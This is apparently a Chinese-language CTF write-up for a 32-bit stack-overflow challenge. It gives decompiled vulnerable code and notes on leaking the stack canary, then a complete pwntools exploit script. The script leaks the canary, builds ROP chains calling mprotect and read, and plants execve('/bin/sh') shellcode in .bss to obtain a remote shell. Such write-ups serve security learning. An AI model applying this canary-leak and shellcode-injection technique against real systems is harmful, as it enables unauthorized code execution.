MENU

Catalog

    *CTF 栈溢出 level5.0-oneshot

    November 6, 2020 • Read: 728 • Pwn

    程序代码

    unsigned int stackoverflow()
    {
      char v0; // ST04_1
      char s; // [esp+Ch] [ebp-4Ch]
      int v3; // [esp+2Ch] [ebp-2Ch]
      unsigned int v4; // [esp+4Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      memset(&s, 0, 0x40u);
      ((void (__cdecl *)(const char *, char))printf)("What's your name?", v0);
      get_line(&v3);
      printf("%s,let's make stackoverflow great again!\n", (unsigned int)&v3);
      get_line(&s);
      return __readgsdword(0x14u) ^ v4;
    }
    unsigned int __cdecl get_line(int a1)
    {
      char v2; // [esp+17h] [ebp-11h]
      int v3; // [esp+18h] [ebp-10h]
      unsigned int v4; // [esp+1Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      v3 = 0;
      while ( read(0, (int)&v2, 1) > 0 && v2 != 0xA )
        *(_BYTE *)(a1 + v3++) = v2;
      return __readgsdword(0x14u) ^ v4;
    }

    思路:get_line肯定是有溢出的,通过第一次溢出来读取到canary,用第二次来ROP。

    和前面那道静态编译的题目很类似,但是这道题目是x86且开了canary了。
    所以我觉得难度是差不多的。
    几个重要的点
    1.泄漏canary:canary末尾两位是0x00(低地址),所以直接printf输出的时候是会被截断的,所以我们要覆盖这个字节,并且在读取的时候补回这0x00。
    2.多次利用返回main函数。
    3.堆栈的内容从上到下正好是调用参数从左到右的顺序。
    4.其他的点参考intoverflow的那道题目。

    from pwn import *
    from LibcSearcher import *
    
    #r = process('./level5.0-oneshot')
    r = remote('pwn.sixstars.team', 22095)
    r.sendlineafter("name?", 'a' * 0x21)
    r.recvuntil('a' * 0x21, drop=True)
    canary = u32(r.recv(3).rjust(4, '\x00'))
    print hex(canary)
    mprotect_addr = 0x806DE50
    stackoverflow_addr = 0x80488E1
    got_plt_addr = 0x80EA000
    bss_addr = 0x80EAF80
    read_addr = 0x0806D350
    payload = 'a' * 0x40 + p32(canary) + 'b' * 0x8 + 'c' * 0x4  + p32(mprotect_addr) + p32(stackoverflow_addr) + p32(got_plt_addr) + p32(0x2000) + p32(7)
    r.sendlineafter('!\n', payload)
    
    r.sendlineafter("name?", 'wjh')
    payload = 'a' * 0x40 + p32(canary) + 'b' * 0x8 + 'c' * 0x4  + p32(read_addr) + p32(stackoverflow_addr) + p32(0) + p32(bss_addr) + p32(0x1000)
    sleep(1)
    shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
    r.sendlineafter('!\n', payload)
    
    r.send(shellcode)
    #gdb.attach(r)
    r.sendlineafter("name?", 'wjh')
    payload = 'a' * 0x40 + p32(canary) + 'b' * 0x8 + 'c' * 0x4  + p32(bss_addr) + p32(stackoverflow_addr)
    r.sendlineafter('!\n', payload)
    r.interactive()
    Archives QR Code
    QR Code for this page
    Tipping QR Code